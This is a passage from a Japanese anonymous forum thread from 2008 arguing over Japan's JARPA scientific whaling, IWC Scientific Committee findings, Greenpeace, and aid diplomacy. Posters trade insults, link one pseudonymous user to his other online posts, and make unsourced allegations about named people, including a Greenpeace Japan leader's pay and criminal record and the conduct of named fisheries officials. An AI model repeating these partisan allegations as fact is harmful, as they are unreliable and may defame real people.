ここでは明確に「南氷洋ミンククジラの資源管理を」と書いてるからRMP改善 以外に考えられませんw 涙目愛誤反捕鯨のkuji7クン、 恐らくこのスレでキミ一人が理解出来てないだけだよねw 249 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 01:15:19 ID:hnbioMhF0] >>247 相変わらずグッダグダの愛誤kuji7クン、少なくとも「資源管理」の「改善可能性」 を認めてるのは「日本の学者さん」ではなくて「IWC科学委員会」なのは理解出来たかな？w ５． JARPA計画の結果はRMPの下での資源管理に必要としないが，次の方法で 南氷洋ミンククジラの資源管理を改善する可能性を有する。（１）RMPの適用 模擬試験において考えられるシナリオの数を減らす。（２）将来のRMPの適用 模擬試験において新たなシナリオの特定作業を進める（例えば，系統群構造 の季節要素）。 www.jfa.maff.go.jp/release/16.1105.01.htm キミがどんなに曲解に曲解を重ねて必死に否定しようとしても、 IWC科学委員会自体がJARPA/JARPA�Uでの「資源管理を改善する可能性」を 認めてる以上、JARPA/JARPA�Uは必要、という事にしかなりませんw それとも「鯨類資源の持続利用」を目的としたIWCにおいて、資源管理方式を 「（改善余地が有るのにも拘らず）それ以上改善しなくてよい」なんて言ってるとでも？w 250 名前：くじら君 mailto:　 [2008/04/01(火) 01:15:55 ID:PmkQiRHN0] 下記のどこに“RMP改善”なんて書いてある？ （ﾆﾎﾝｺﾞ大丈夫？） 　　　↓ ５． JARPA計画の結果はRMPの下での資源管理に必要としないが，次の方法で 南氷洋ミンククジラの資源管理を改善する可能性を有する。（１）RMPの適用 模擬試験において考えられるシナリオの数を減らす。（２）将来のRMPの適用 模擬試験において新たなシナリオの特定作業を進める（例えば，系統群構造 の季節要素）。 つーかそもそも“JARPA計画の結果はRMPの下での資源管理に必要としない”って書いてあるじゃん。ｗ それでどうして「JARPAが“RMP改善”になる」なんて言えるんかい？ｗ ﾆﾎﾝｺﾞ大丈夫？ｗ 251 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 01:16:19 ID:3/7yUWQi0] >>247 「御用学者」なんて表現を持ち出す必要は無いです。 内容の是非で議論すべきです。 252 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 01:16:41 ID:uBhKOmoc0] ここって議論スレだったか？ 253 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 01:21:16 ID:hnbioMhF0] まぁ、ここで一つ「くじら君」なるコテ付きさんの過去の発言を見て頂きましょうw ID:PmkQiRHN0（くじら君）＝ kujira 77777 さんなんですけど（発言内容から見て間違いなし） 彼は過去こんな発言もしています。 messages.yahoo.co.jp/bbs?.mm=NW&action=m&board=2000251&tid=a5 afa58a5ia4rbfa9a4ya4ha4a6a1aa&sid=2000251&mid=29 ＞まず第一に、 ＞野生動物はその動物本来の生息域で静かに ＞暮らさせてやりたいと思ってるからです。 ＞そっとしておいてやりたい、 ＞と思うわけです。 ＞彼らが人間に迷惑をかけたわけじゃないのに ＞一方的に殺されるのがたまらなくいやなのです。 ＞家族だっているでしょう。 ＞それを無理やり引き裂く。 ＞人間にそこまでやる権利があるんだろうか？ ＞と思うわけです。 ＞魚は？牛は？豚は？＞と言われても困るんですが、線引きは ＞そこにしています。 ＞そう、 ＞言われる通りかなり心情的なもんです。 messages.yahoo.co.jp/bbs?.mm=GN&action=m&board=1834578&tid=a45a4a2a1aabdt7afa1aaja7dfldbja4c0a1aa&sid=1834578&mid=8250 254 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 01:28:08 ID:hnbioMhF0] >>250 まぁ、キミが痛々しい愛誤動機で無理な食い下がり方する御馬鹿さんなのは >>253で皆さんに知れてしまったと思いますが....w >つーかそもそも“JARPA計画の結果はRMPの下での資源管理に必要としない”って書いてあるじゃん。ｗ >それでどうして「JARPAが“RMP改善”になる」なんて言えるんかい？ｗ 見たまんまだよねw 意図的に記述を一部削除しても（これ、インチキ反捕鯨団体がよくやる手口ねw） 「IWC科学委員会」が「資源管理の改善可能性」を認めた事実は動きませんからw ５． JARPA計画の結果はRMPの下での資源管理に必要としないが，次の方法で 南氷洋ミンククジラの資源管理を改善する可能性を有する。 www.jfa.maff.go.jp/release/16.1105.01.htm キミがどんなに曲解に曲解を重ねて必死に否定しようとしても、 IWC科学委員会自体がJARPA/JARPA�Uでの「資源管理を改善する可能性」を 認めてる以上、JARPA/JARPA�Uは必要、という事にしかなりませんw それとも「鯨類資源の持続利用」を目的としたIWCにおいて、資源管理方式を 「（改善余地が有るのにも拘らず）それ以上改善しなくてよい」なんて言ってるとでも？w 255 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 02:10:06 ID:zaUoD5980] ＞くじら君 あんたの言いたいことよくわかるよ なるべく殺さないようにしたいんだろ スゲー自己矛盾抱えるし、二重基準甚だしいけどね でも、最終的に人間なんじゃないの 256 名前：名無しさん＠お腹いっぱい。 [2008/04/01(火) 02:55:28 ID:Hw/vrDA/0] なんか良くわからんが、科学委員会のそれって日本のやってる事は現状の 捕獲枠管理には直接必要ない。でも理論上、もっと進化した管理をしていくのには 有効だけど、殺す量は認められないっていう単純な事でしょ。 何を議論してるの？それにその規模で殺して得られたデータが不充分だとしている訳 で、これ以上殺す量を増やす訳にもいかないし、どうしようもないよね。 殺さないで他の手段で現状の調査を継続するしか問題は解決しないようにしか見えないけど。 257 名前：鯨虫 [2008/04/01(火) 03:17:29 ID:QlhREO1S0] 「改善」は可能だけど、そのために致死調査をする必要はない、てのが科学委員会の 結論だし、IWC総会の諸決議（たとえば2007年第３決議）だね。 たとえば、日本側のミンク＜―＞ザトウ＜―＞シロナガス競合論（これも、資源管理 の参考情報にはなりうる）に反証として出されたフリードレンダー他の「住み分け論」 は殺さずに、それぞれの鯨種の摂食海域が競合を避けるように分布してるということを 示した。Friedlaender, A.S., Lawson, G.L. and Halpin, P.N. 2006. Evidence of resource partitioning and niche separation between humpback and minke whales in Antarctica: implications for inter-specific competition. Paper SC/58/E32 presented to the IWC Scientific Committee, May 2006, St. Kitts and Nevis, West Indies. 37pp. この場合、何を食ったかなんてことは、腹を割いて調べるまでもない。 ほとんどの海域でナンキョクオキアミ、岸に近い氷の間ではアイスオキアミ が99％だということは何十年も前からだれにでもわかっているし、食べてる 海を見ればわかる。 日本側の反論は、フリードレンダーたちが調査した時期は４月から６月で、摂食の 最盛期を過ぎているというものだったね。（REPORT OF THE INTERSESSIONAL WORKSHOP SC/59/REP 1，　27p．） そう、日本の調査捕鯨はいつも12月から３月までで、18年間もやってて他の時期や 海域を調べたことがなかった。ここで日本以外の会議参加者たちの頭の中に、大きな ＜？＞が飛び交うわけだ。＜そういう画一的で偏った調査法ばかり続けていて、鯨類資源 管理の「改善」と言われてもねえ＞、みたいなね。 258 名前：鯨虫 [2008/04/01(火) 03:28:36 ID:QlhREO1S0] 失礼、訂正。 誤）日本側のミンク＜―＞ザトウ＜―＞シロナガス競合論 正）日本側のミンク＜―＞ザトウ＜―＞ナガス競合論 他に、「REPORT OF THE INTERSESSIONAL WORKSHOP SC/59/REP 1」 では、とにかくサテライト（衛星受信）発信器を付けて、移動、温帯の各繁殖地 への分岐を調べるべきだと、強く推奨（リコメンド）してますね。 そうすれば系群の分離が明確になり、もし商業捕鯨したいなら、それに必要な データが出ますからと。 この指摘はずいぶん前からあって、アイスランドみたいな小国でも2001年から やってるのに、なぜか日本はやろうとしないんだね。リコメンドには法的拘束力が ないからですか？ 259 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 05:15:04 ID:zaUoD5980] モラトリアム以前もＩＷＣは捕鯨に自主規制枠を導入して頭数制限してたわけで 商業捕鯨を再開させたところでこの枠組み内でやる分には問題ないわけで。 ところが、反捕鯨団体は息巻く。「1000頭も虐殺している」「動物虐待だ」 つまりさ、これって非致死的調査か致死的調査かっていう問題よりももっと単純な議論 「お願いだからクジラを殺さないで」っていう感情論の問題でしょ 彼らの主張をまとめるといつもこんな感じだよね ・商業捕鯨は未来永劫ありえない ・資源調査なら非致死的調査で ・野蛮な鯨食文化は廃れてしまえばいい ・代わりに牛や豚や家畜の肉を喰え ・家畜業は環境汚染甚だしいが、クジラ（人間よりも優秀な生き物）が殺されるよりずっとマシ ・常に俺様ルールで我が物顔。俺は常に正しくて、俺の行動が世間で違法でもそれは「綺麗な法律違反」 ・俺たち環境派、ﾏｼﾞ十字軍なみにかっけー。惚れるなよ ってことだろ 260 名前：名無しさん＠お腹いっぱい。 [2008/04/01(火) 06:48:04 ID:fhqRV60N0] >>259 ＞モラトリアム以前もＩＷＣは捕鯨に自主規制枠を導入して頭数制限してたわけで ＞商業捕鯨を再開させたところでこの枠組み内でやる分には問題ないわけで。 その自主規制枠組みが、現代日本の業界談合みたいなことになっててね、 違法、抜け駆け、海賊捕鯨もやり放題。次々に世界の海域から大型鯨種が消滅して いったって状態だったんだな。それがあまりにもひどいというので国連が1972年に ストックホルムで国連人間環境会議というのを開き、捕鯨モラトリアムをIWC に対して勧告したのです。 ＞ところが、反捕鯨団体は息巻く。「1000頭も虐殺している」「動物虐待だ」 このときの国連の原動力は、反捕鯨団体なんて、そんな小さなものじゃないですよ。 後に京都議定書や地球温暖化防止会議につながる要因、さらに国際経済に倫理性を 要求する政財界人の集まり「世界経済フォーラム」等々、さまざまな流れがここで 合流していると見るのが適切でしょう。 261 名前：名無しさん＠お腹いっぱい。 [2008/04/01(火) 06:54:59 ID:fhqRV60N0] ＞つまりさ、これって非致死的調査か致死的調査かっていう問題よりももっと単純な議論 ＞「お願いだからクジラを殺さないで」っていう感情論の問題でしょ 非致死的調査で出来るということが明らかなのに、あえて致死的調査で強行するのは なぜか、というのが依然として国際会議の場や、世界のマスコミ、学術雑誌で 問われてるわけですね。 「お願いだからクジラを殺さないで」という人たちも海外マスコミの消費者に 多いでしょうが、現代の科学倫理に即して仕事をしている人たち（たとえば 重要な薬の開発には動物実験は許されるけど、歯磨の新製品開発には動物実験が 許されず、苦労している人たち）なんかも、今の日本政府の、完全に職業倫理を コケにしたやり方には、腹を立ててるでしょうね。 262 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 08:16:23 ID:fkK6TigI0] >>261 非致死調査でできることはそれでやってるらしいよ。 263 名前：名無しさん＠お腹いっぱい。 [2008/04/01(火) 08:29:40 ID:GsalnTvt0] 結局、反捕鯨と鯨（野生動物の保護）はまったく関係ないんでしょ。 グリーンピースの言ってることは、単に「鯨をとるな」ということであって、 ベジタリアンの言う「肉を食うな！」の域をでない。 「欧米では常識だ！」とがなりたてても、もう日本人はだまされないよ。 グリーンピースのやってることは「絶滅危惧種の保護」でも「環境保護」でもない。 264 名前：名無しさん＠お腹いっぱい。 [2008/04/01(火) 08:30:22 ID:GsalnTvt0] 結局、反捕鯨団体の飯のタネにIWCが踊らされているんだよな。 俺はこのスレで、グリーンピースの「収支報告」「役員報酬」は情報公開されているのか？ と何回も聞いたがいっこうに答えは返ってこない。 「グリーンピース・ジャパン代表星川淳の年報酬は2600万」この説をだれも否定できないんだよ。 鯨の保護は必要だが、パフォーマンスに莫大な寄付金を浪費するグリーンピースは、野生動物の保護の観点からみても害でしかない。 265 名前：名無しさん＠お腹いっぱい。 [2008/04/01(火) 08:51:50 ID:GsalnTvt0] あと、最近グリーンピースは明治製菓を「遺伝仕組みかえ原料使用」でバッシングしてるみたいだが なぜ、森永や江崎グリコ、ロッテは叩かないんだ？ 遺伝子組換え原料使用といっても、添加物の原料の大豆に使用されているだけだろ 本来叩くべきは米国の巨大・大豆穀物産業だろうに。 266 名前：名無しさん＠お腹いっぱい。 [2008/04/01(火) 10:02:54 ID:53cYOMwIi] 違法かどうかになるなら、条約で調査捕鯨は認められている以上、 条約を改正しない限り合法だ。 267 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 10:41:04 ID:cb4bEZEn0] qqq 268 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 12:47:15 ID:OJ27m14s0] 豪人の言うとおり捕鯨禁止になり保護することになったら 頭数の少ない（繁殖能力・捕食能力・適応能力の低い） 鯨はまっさきに絶滅へ向かいそうだね 269 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 16:16:45 ID:u+XhVD+/0] しかし、つくづく思うわぁ。 先の週末あたりから代わりばんこに出没のおおよそ二匹に共通してるのは、 もうこれ、世界の潮流なんだよ お前らが知らないだけ ほれほれ目を覚ませ 遅れてるぞ ゴアなんて、とっくに底が割れてるパチもん持ち出してまでのこの調子。 思い出すのは前々世紀終わり頃から前世紀前半あたりの 起て!万国の労働者 世界同時革命 歴史の必然 ソヴィエトの目覚しさを見ろよw 元々愛鯨なんてのは、「俺達はもう止めた」「故に俺達は倫理の点で最も進歩している」 (実は石油化学と産業の発展で経済的に必要なくなっただけ) (管理の手間暇と引き合わなくなったのと機械化の発展で、黒人を奴隷として使役する 利益消滅から、それを止めたのと同じ) という、「俺達こそが真にエシカルな文明人」「同意しない奴野蛮人」から来てるわけだが、 これを拡げて一般化して環境保護全般としても、結局同じようなこと言ってんだよね、 十数年前、パソ通で誰かが言ってた「環境保護だの地球にやさしくって、要は人類が 新たな娯楽を見つけただけ、(いくつか理由列挙)〜というわけで、これは共産主義以来の ヒットになるね」、これが益々納得できるようになってきた今日この頃。 向う数十年、いかに飲み込まれないように捌くかだねぇ… 270 名前：名無しさん＠お腹いっぱい。 [2008/04/01(火) 16:24:39 ID:yOy2Yro80] 反捕鯨側は非致死的調査でも致死的調査でも、どちらでもよいから、できるだけ早く鯨の資源調査を本気でしなさいよ。 そしてもし商業捕鯨可能なら再開すればいい。 もし駄目ならば保護するしかないでしょう。 ただ時間延ばしをして捕鯨をあきらめさせるようなセコイことをするなよ。 271 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 16:42:02 ID:zaUoD5980] >>260 >違法、抜け駆け、海賊捕鯨もやり放題。 >次々に世界の海域から大型鯨種が消滅していったって状態だったんだな。 その話は半分あたってるけど半分間違ってるんじゃない？ たしかに、アングロサクソンの欧米諸国は IWC科学委員会が頭数制限守りましょうと再三勧告してたにもかかわらず これを無視して馬鹿みたいにクジラを乱獲しまくったよね。 生産効率のよい大型種に限定して、鯨油のためだけにさ。 んで、1950年代にすでに大型種は獲り尽して資源量が激減。 鯨油を採取するには効率が悪いってんでアメリカは早々に商業捕鯨から手をひいていた。 だから、大型種のシロナガスクジラなんかはモラトリアム以前から捕鯨禁止にされてたじゃない。 そーいう経緯があって、1964年にはよーやく科学委員会で定められた頭数よりも 少ない枠組みで、それも鯨種を限定させて細々と捕鯨が行われていたわけで 「あまりにもひどい」状況はすでに終息に向かっていた矢先に 全種類の商業捕鯨モラトリアム採択でしょ。 ＞非致死的調査で出来るということが明らかなのに、 ＞あえて致死的調査で強行するのはなぜか それは思考の順序が逆じゃない？食べるための捕鯨を排除しないことを前提にして、 資源状況が明らかになるまで、当面は科学的に試算される捕鯨頭数よりも 厳しい頭数制限を設けて調査捕鯨しましょうって条件なら 日本政府も「非致死的調査」での調査に合意（歩み寄り）するでしょうね。 ＞現代の科学倫理に即して仕事をしている人たちは腹を立ててるでしょうね。 科学調査と名づけるからではないでしょうか。 食べるための捕鯨行為を全否定してしまった時点で、 ボタンの掛け違いが起こっているように私には思えるのですが。 272 名前：271 mailto:sage [2008/04/01(火) 16:48:23 ID:zaUoD5980] 訂正 ＞それは思考の順序が逆じゃない？食べるための捕鯨を排除しないことを前提にして、 ＞資源状況が明らかになるまで、当面は科学的に試算される捕鯨頭数よりも ＞厳しい頭数制限を設けて調査捕鯨しましょうって条件なら 食べるための商業捕鯨を厳しく制限させたうえで、 別途で調査捕鯨を行うという条件なら 日本政府も「非致死的調査」に合意するだろう。という文意でした。 ・食べるための、売るための商業捕鯨は「倫理的」にダメ！ ・調査捕鯨は科学的見地からみても「非致死的調査」で十分だ！ これじゃあ、国内の捕鯨産業は死活するでしょうということです。 273 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 16:55:04 ID:N37ndCNw0] 体裁を取り繕ってるだけでハナからそれが目的なんじゃないの？ 274 名前：名無しさん＠お腹いっぱい。 [2008/04/01(火) 17:03:24 ID:+8hDA6Rt0] また反捕鯨カルトが論破されてんのか。 275 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 17:12:32 ID:53cYOMwIO] 論破されようがしつこく同じ書き込みをする。 話し合って解決ではなく、単に嫌がらせ。 276 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 18:57:12 ID:q38LxNP/0] >>275 反捕鯨運動って、それの規模の大きくなったような感じがしますね。 277 名前：名無しさん＠お腹いっぱい。 [2008/04/01(火) 19:38:09 ID:JQrLup1M0] >>275 ＞話し合って解決ではなく、単に嫌がらせ。 おまえらも一緒だろｗ 278 名前：名無しさん＠お腹いっぱい。 [2008/04/01(火) 19:48:32 ID:JehIL/Dq0] >>272 >食べるための商業捕鯨を厳しく制限させたうえで、 >別途で調査捕鯨を行うという条件なら ははは、これと同じこと1990年代後半にミナミマグロでやって、調べてみたら 違法捕獲、違法入関やり放題、あとで国際機関に罰金払って日本のミナミマグロ 漁獲枠は半永久的に半減という、国民にとっての大損害をやらかしたのが、当時の ミナミマグロ担当水産官僚、小松政之と森下丈二のご両人だな。 この二人は、この一件で世界の水産業界では良く知られた下劣官僚なのだが、 こういうのが2000年代になって捕鯨担当となり、外国のテレビや国際会議で ドキュソ発言やりまくってんだな。こういう人物たちが日本人の品格を落とし ているのだということに、いいかげん気付けよ　―＞水産族議員 >日本政府も「非致死的調査」に合意するだろう。という文意でした。 合意も何も、非致死でできることは非致死でやらなきゃいけないなんて、当然でしょ？　　 なんか、非加熱製剤／加熱製剤とか、昔あった事件のそのまんま東w 279 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 19:50:15 ID:860fUZFd0] 国益に反するからやり過ぎない方がいい 280 名前：名無しさん＠お腹いっぱい。 [2008/04/01(火) 19:55:13 ID:JQrLup1M0] >>279 漏れもそう思う。 281 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 20:44:20 ID:u+XhVD+/0] >合意も何も、非致死でできることは非致死でやらなきゃいけないなんて、当然でしょ？ 誰の当然? それと、不法な妨害が無ければ費用ほぼ回収という、裏打ち付きで日本が行っている 南極海等でのそれに匹敵する規模と範囲と期間の非致死的調査が「行われている」の ソースまだ? 282 名前：名無しさん＠お腹いっぱい。 [2008/04/01(火) 20:44:59 ID:GsalnTvt0] ☆ ﾁﾝ 　　　 　 　 ☆　ﾁﾝ　　〃　 ∧＿∧ 　 ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣ 　 　 　 　 　　ヽ　＿＿_＼（＼・∀・）＜　 GPの収支報告と役員報酬の情報、まだー？ 　　 　 　 　 　 　 ＼＿／⊂　⊂＿)＿ ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿ 　　 　 　 　 　 ／￣￣￣￣￣￣￣／| 　　　　　　　　| ￣ ￣￣￣￣￣￣:|　:| 　　　　　　　　|　　　　　　　　　　　.|／ グリーンピース・ジャパン代表星川淳の年報酬は2600万 グリーンピース代表に恐喝・暴行の前科 www.tanteifile.com/newswatch/2007/11/17_01/index.html 283 名前：名無しさん＠お腹いっぱい。 [2008/04/01(火) 21:10:14 ID:G4Z13lb10] 日本が捕鯨やめるとして、 そしたら次はタコ漁禁止とか言ってくるかもしれないよ。 タコがかわいいって言っているオーストラリア人がいた。 284 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 21:12:26 ID:zoM3alU50] いつから捕鯨に反対する国が出てくるようになったんだ? 白鯨という小説もあったよね。あれはいつの時代のことだったんだろ。 285 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 22:33:15 ID:zaUoD5980] >>278 >合意も何も、非致死でできることは非致死でやらなきゃいけないなんて、当然でしょ？ 反捕鯨の連中はその一点だけ連呼してりゃ あの愛くるしいクジラちゃんたちを虐殺の悲劇から救えるからそれでいいんだろうね そーいや先日、動物愛護団体PETAは日本の「たこ焼き」文化にもイチャモンつけてきたよね。 「たこ焼きを食べなければ、日本は環境先進国になれるし、日本人は幸せになれる」だぜ。 それで自分たちは倫理的に高い立場に立ってると思い込めるわけだ。 寄付金を集める口実を作るのも一苦労だねｗ 286 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 01:53:18 ID:rfUf7+TD0] >>285 たこ焼きの何処が悪い？ ていうか、「たこ焼き」文化ってなんじゃ？ 287 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 02:00:58 ID:IQt42/6S0] タコも食えないような牧畜一辺倒のほうが環境に悪いのにね。 288 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 02:07:27 ID:y25n9EsX0] たこ焼きも知らんのか最近の日本人は･･･ 289 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 02:24:40 ID:IQt42/6S0] タコの肉ってタンパク質が濃ゆいんだぞ。 弾力があって噛めば噛むほど旨味が染み出てくる。 欧米人も食うべきだ。 290 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 09:35:18 ID:f0GHAWFKO] スーパーボールや大リーグで、ハンバーガーやホットドッグが無くなったら何て言うかな。 291 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 09:56:51 ID:Dyl3zIMP0] 馬鹿、今はもうタコ不足なんだぞ 何でもかんでも外人に喰わすな 292 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 10:18:23 ID:vvPoBudUO] そのうち、大豆と虫くらいしかタンパク源がなくなるんじゃないか？ オージー大陸はそうなりつつあるようだし… 293 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 11:41:37 ID:VlFGzCzx0] アホですか魯鈍ですか害基地ですか？ 家畜も飼育できない自然環境に変化した時点で、野生哺乳類（クジラ）は死滅してます。 危うい状況で生存してるクジラで捕鯨ゲームですか？ 294 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 11:53:01 ID:OFzsnppD0] いいこと思いついた！ 途上国に、今度は畜産・農業にODAを注ぎ込むんだよ。もっと。 そしてそっから牛肉や小麦粉なんかを日本に輸入する。 そして彼らも日本に一票。 295 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 12:30:30 ID:/yGAyR7s0] >>294 それいいなw 豪への当て付けにインドネシアに穀物生産援助しまくって将来の穀物輸入を そっちにシフトさせてしまおう。 中国バブルが崩壊すれば豪は日本にも売れない小麦在庫を抱えて農業崩壊しちゃうなw どっち道日本ほどの価格で量を買える国は無いんだから。 296 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 12:37:52 ID:OFzsnppD0] そもそもオーストラリアの農業のやりかたが、 持続可能じゃなかったんだよね。 降水量が少ない土地なのに、イギリスと同じ農業を 強引にやって。 森林伐採、放牧で、塩害・水不足。 乾燥地に耐えうる作物を、と現在遺伝子組換え技術を 研究中。 こんなの、食いたくない。 297 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 12:41:06 ID:/yGAyR7s0] 調べてみたらフィリピン、インドネシアは未だIWC加盟してないのに 小型捕鯨の伝統はある。 味方に付けない手は無いなw インドネシアと日本が接近すれば豪は焦ってくるだろう。 ラッド政権は永年の対インドネシア確執に何の有効打も打ち出せてないから お馬鹿なラッド政権中にインドネシアと近づいておくべしw 298 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 12:57:48 ID:OFzsnppD0] インドネシアは、すでに確か、日本のODA授与国ナンバー2だよ。 親日は多いと思う。 同時に、インドネシアはオーストラリアの最重要援助国だよ。 オーストラリアのODAはOECD内で15番目。日本とは比べ物にならないくらい。 テロ攻撃を防ぐことを国家安全保障の戦略として、インドネシアでは 警備や地方分権なんかに力を入れてる。 あと、環境NGOはあまるほどウジャウジャしてて、日本なんかの大型ODAには 反対的な意見もチラホラ。 なんとか日本のODAがうまく使われてほしいね。 299 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 13:06:13 ID:vvPoBudUO] >>293 いいえ、ケフィアです。 300 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 13:42:05 ID:HMFl2vhc0] >>298見てると日本が他国を金で買ってるという批判に反論できないな・・・ 301 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 13:57:24 ID:OFzsnppD0] ODAは純粋な途上国援助ではないね。日本だけじゃないよ。 オーストラリアのAWBって知ってる？（オーストラリア小麦団体？） 国連の「Food for Oil」ってプログラムなんだけど、賄賂使って フセイン政権時代のイラクと、小麦と引き換えに石油をもらう 契約結んでたんだよ。 それが米軍のバグダッド進行で見つかって、賄賂の金がイラクでは 武器購入に使われてたのでは、なんて、去年あたりニュースで聞いた。 でも、世界中のイデオロギーがぶつかり合う中で、やはりODAも ひとつの外交手段として必要ではないかと。 現地で必要とされていることが前提だけどね。 302 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 14:06:05 ID:51li1Puh0] 捕鯨だけのために外国と事を構えようとする馬鹿がいる。 303 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 14:08:57 ID:vvPoBudUO] >>300 ODAは外務省の管轄 水産関係の交渉は水産庁 日本の縦割り行政なめんな！で終了 304 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 14:09:01 ID:OFzsnppD0] いや、捕鯨だけではないでしょう。外交だよ。結局持ちつ持たれつだよ。 305 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 14:12:25 ID:OFzsnppD0] でも、外国は日本の縦割りなんて知ったこっちゃないよ。 「日本がやった」だよ。 306 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 14:46:51 ID:y25n9EsX0] まあイギリスも同じことしてるんすけどね でも、反捕鯨派にいわせりゃイギリスは「綺麗な買収」日本は「汚い買収」 英国のベケット外務大臣は下院議員からの質問に答えるかたちで、 英国政府がブルガリア、クロアチア、キプロス、エストニア、ギリシア、 ラトビア、リトアニア、マケドニア、モンテネグロ、セルビアに対して、 反捕鯨国としての国際捕鯨委員会参加を外交ルートを通じて申し入れたこと、 このうち、クロアチアとキプロスがすでに国際捕鯨委員会に加盟し、 エストニア、ギリシア、ラトビア、ルーマニアが、国内措置が完了次第 加盟する旨表明したと明らかにした模様。 www.publications.parliament.uk/pa/cm200607/cmhansrd/cm070312/text/70312w0018.htm (英国下院・議会議事録) 307 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 15:46:24 ID:VU69tOc80] 捕鯨も国益だから、そのために外国と事を構えても当然。 308 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 15:53:43 ID:e0fqAZqI0] 中国なんてアフリカに対して露骨に援助外交してるよね 309 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 16:07:36 ID:OFzsnppD0] 日本が常任理事国になろうとしてたとき、日本は10人の政治家を アフリカに送ったんだよ。ODAをちらつかせて宣伝のためにね。 それに対して中国はアフリカに、100人送ったんだよ。日本に票を 入れないようにね。 なーんでそこまで日本が気に食わないの？？？ 本当は日本のこと、大好きなくせにーーー。 310 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 16:18:32 ID:51li1Puh0] >>307 嘘をついても、やるか？ 例の写真の件はどうなった？ 日本人の負傷の証拠写真はどこにある？ 311 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 16:21:47 ID:51li1Puh0] 嘘をついたら負け。 たとえ同じ日本人は騙せても、外国人は無理。 312 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 16:23:08 ID:51li1Puh0] どれほどの国益か？ 役人益だろ」。 313 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 16:23:48 ID:OFzsnppD0] え？じゃ、負傷したのって、うそ？ 314 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 16:24:33 ID:51li1Puh0] ここの連中の国益は、私益。 315 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 16:30:13 ID:51li1Puh0] >>313 証拠がなくては、人を罪人呼ばわりしてはいけないってこと。 ましてや、テロってなんだよ。情報操作やね。 316 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 17:05:08 ID:vvPoBudUO] 白人は100回嘘ついてもいいが、 日本人に対しては1回のミスでも、馬鹿みたいに騒ぐ はっきり言って、キモチ悪いわ あんたら 317 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 17:20:48 ID:VU69tOc80] >>315 >>310 あなたも嘘つき呼ばわりしてはいけない 318 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 17:31:26 ID:/yGAyR7s0] 暫く影を潜めてた「連投バカ」が舞い戻ってきたみたいですねw 319 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 18:46:47 ID:16WB7/Pn0] >>306 >英国政府がブルガリア、クロアチア、キプロス、エストニア、ギリシア、 >ラトビア、リトアニア、マケドニア、モンテネグロ、セルビアに対して、 >反捕鯨国としての国際捕鯨委員会参加を外交ルートを通じて申し入れたこと 外交ルートを通じて国際捕鯨委員会参加を申し入れる、というのは「買収」に あたらないですよ。 国連海洋法条約の附表Iで、国際的公共財と定められた鯨、イルカ類の保護管理に あたるべき国際捕鯨委員会が、明らかに日本の極小国、最貧国に対する選挙区 レベルまで緻密に計算した異常な買収行動で歪められているので、そのような バイアスのかからない参加国を増やし、正常化するというのが英国、欧州連合の 意図です。 参加して、どういう判断、投票をするかは新加盟国の自由です。欧州連合全体 として、援助対象国に対し、差別撤廃条約を履行するようにとか、人権や環境に 関する国際法を尊重するようにという、大枠の法治主義的な要請、誘導はあり ますが、捕鯨反対に投票しろなどという、個別争点での露骨な強要はありえないです。 